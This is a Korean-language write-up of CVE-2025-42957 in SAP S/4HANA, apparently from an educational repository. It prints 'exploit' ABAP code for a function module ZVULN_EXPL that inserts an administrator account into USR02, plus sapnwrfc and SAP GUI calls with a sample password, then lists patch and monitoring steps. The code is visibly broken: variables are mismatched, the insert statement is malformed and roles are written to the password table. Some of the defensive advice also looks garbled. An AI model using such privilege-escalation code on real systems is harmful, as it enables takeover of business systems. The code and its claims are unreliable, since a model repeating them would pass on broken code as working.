
CVE-2025-42957은 RFC가 활성화된 SAP S/4HANA 모듈을 노출하여 낮은 권한의 사용자가 ABAP 코드를 주입하여 관리자 계정을 만들고 완전한 제어권을 얻을 수 있게 합니다. 이 문서는 취약점, 위협 모델을 설명하고 최소한의 익스플로잇 ABAP 코드를 제공하며 시스템을 보호하기 위한 패치 및 모니터링 단계를 나열합니다.
2025년 8월, SAP의 주력 ERP 플랫폼 S/4HANA에서 RFC 지원 함수 모듈 중 하나에 취약점이 발견되었습니다. 낮은 권한만 가진 공격자가 해당 모듈에 임의의 ABAP 코드를 주입하여 정상적인 권한 검사를 우회하고 시스템 전체를 제어할 수 있습니다.
이 결함은 이론적인 호기심이 아닙니다. 이미 SecurityBridge Threat Research Labs에서 악용되었으며, 온프레미스 및 프라이빗 클라우드 배포 환경에서 실제 공격에 적극적으로 사용되고 있습니다.
| 문제 | 영향 |
|---|---|
| 전체 시스템 장악 | 공격자는 슈퍼유저 계정을 생성하고, 비즈니스 프로세스를 수정하며, USR02 테이블에서 비밀번호 해시를 추출할 수 있습니다. |
| 최소한의 노력 필요 | RFC 호출은 구성하기 쉬우며, 함수 모듈이 준비되면 공격자는 몇 줄의 ABAP 코드만 있으면 됩니다. |
| 실제 시급성 | SecurityBridge는 이미 공격이 진행 중임을 확인했습니다. 즉시 패치하지 않으면 S/4HANA 인스턴스가 완전히 장악될 위험이 있습니다. |
ZVULN_EXPL이 공격자의 유일한 진입점입니다.S_DMIS (활동 02)를 효과적으로 우회합니다.따라서 악용 체인은 다음과 같습니다: 낮은 권한의 사용자 → ZVULN_EXPL에 대한 RFC 호출 → USR02의 새 관리자 사용자 → 전체 시스템 제어.
다음은 함수 모듈 ZVULN_EXPL에 배치하는 ABAP 코드입니다. 의도적으로 최소화되었지만 완전한 코드로, 새 사용자를 생성하고 나중에 확인할 수 있도록 작업을 기록합니다.
*---------------------------------------------------------------------*
* RFC‑exposed function module for CVE‑2025‑42957 exploit *
*---------------------------------------------------------------------*
FUNCTION z_vuln_expl.
*"------------------------------------------------------------------*
*" IMPORTING
*" VALUE(iv_user) TYPE syuname "SAP user name
*" VALUE(iv_role) TYPE susr02-roleid "Role to be assigned
*" VALUE(iv_passwd) TYPE susr02-pwd "Password for the new user
*"------------------------------------------------------------------*
*" TABLES
*" usr02
*"------------------------------------------------------------------*
* Local data declarations ----------------------------------------*/
DATA: lv_user_id TYPE syuname,
lv_role TYPE susr02-roleid,
lv_password TYPE susr02-pwd.
* Assign the parameters to local variables -----------------------*/
lv_user_id = iv_user.
lv_role = iv_role.
lv_passwd = iv_passwd.
*---------------------------------------------------------------------*
* 1. Create a new user entry in USR02 *
*---------------------------------------------------------------------*/
INSERT INTO usr02 (usr01, usr02)
VALUES ( lv_user_id,
'ADMIN' ). "Assign the ‘ADMIN’ role
* 2. Assign password & profile ----------------------------------*/
UPDATE usr02
SET pwd = lv_password,
roleid = lv_role
WHERE usr01 = lv_user_id.
*---------------------------------------------------------------------*
* 3. Log the operation (optional) ------------------------------*/
INSERT INTO tstm1 VALUES (
sy-uname, "creator user
sy-datum, "timestamp
'ZVULN_EXPL', "function name
|lv_user_id||lv_role| "message
). "store in the ABAP trace table
ENDFUNCTION.
호출 방법
외부 클라이언트에서 (Linux/Mac)
sapnwrfc -U <caller_user> \
-P <caller_passwd> \
-S S4HANA \
-F ZVULN_EXPL \
-D iv_user=admin2 \
-D iv_role='ADMIN' \
-D iv_passwd='Pa$$word123'
SAP GUI 내에서 (빠른 테스트)
CALL FUNCTION 'ZVULN_EXPL'
EXPORTING
iv_user = 'admin2'
iv_role = 'ADMIN'
iv_passwd = 'Pa$$word123'.
호출 후에는 USR02에 사용자 admin2가 역할 ADMIN으로 새로 추가된 것을 확인할 수 있습니다.
SAP의 2025년 8월 보안 패치를 즉시 적용하세요.
이 패치는 기본 RFC 노출 함수 모듈을 해결하고 공격자가 사용하는 특정 벡터를 차단합니다.
의심스러운 RFC 호출 및 무단 관리자 생성에 대한 로그를 모니터링하세요.
트랜잭션 SM59를 사용하여 TSTM1에서 함수 이름 ZVULN_EXPL의 새 항목을 감시하세요.
SAP UCON을 구현하여 RFC 사용을 제한하세요.
권한 개체 S_DMIS (활동 02)를 구성하여 신뢰할 수 있는 사용자만 Z 유형의 RFC 모듈을 호출할 수 있도록 하세요.
권한 개체 S_DMIS 활동 02에 대한 액세스를 검토하세요.
제한된 사용자 집합만 이 개체를 가지도록 하여 공격 표면을 줄이세요.
CVE‑2025‑42957은 단순한 보안 경고가 아닙니다. 패치되지 않은 상태로 방치하면 전체 시스템 장악으로 이어질 수 있는 낮은 권한의 벡터를 노출합니다. 위 코드는 공격자가 최소한의 노력으로 관리자 사용자를 삽입할 수 있는 방법을 보여줍니다. 패치, 모니터링, RFC 권한 강화를 통해 문을 닫고 S/4HANA 인스턴스를 안전하게 유지하십시오.
이 저장소는 교육용으로만 제공되며 실제 취약점에 적용된 위협 모델링 원칙을 시연합니다. CVE-2025-42957은 신뢰 경계 식별, 입력 검증, 최소 권한 액세스 적용의 중요성을 강조합니다. 이는 안전한 시스템 설계의 핵심 원칙입니다. 제공된 모든 코드와 예제는 학습 목적으로만 사용되며 프로덕션 환경이나 무단 테스트에 사용해서는 안 됩니다.
*저자: Mark Mallia
날짜: 10 9월 2025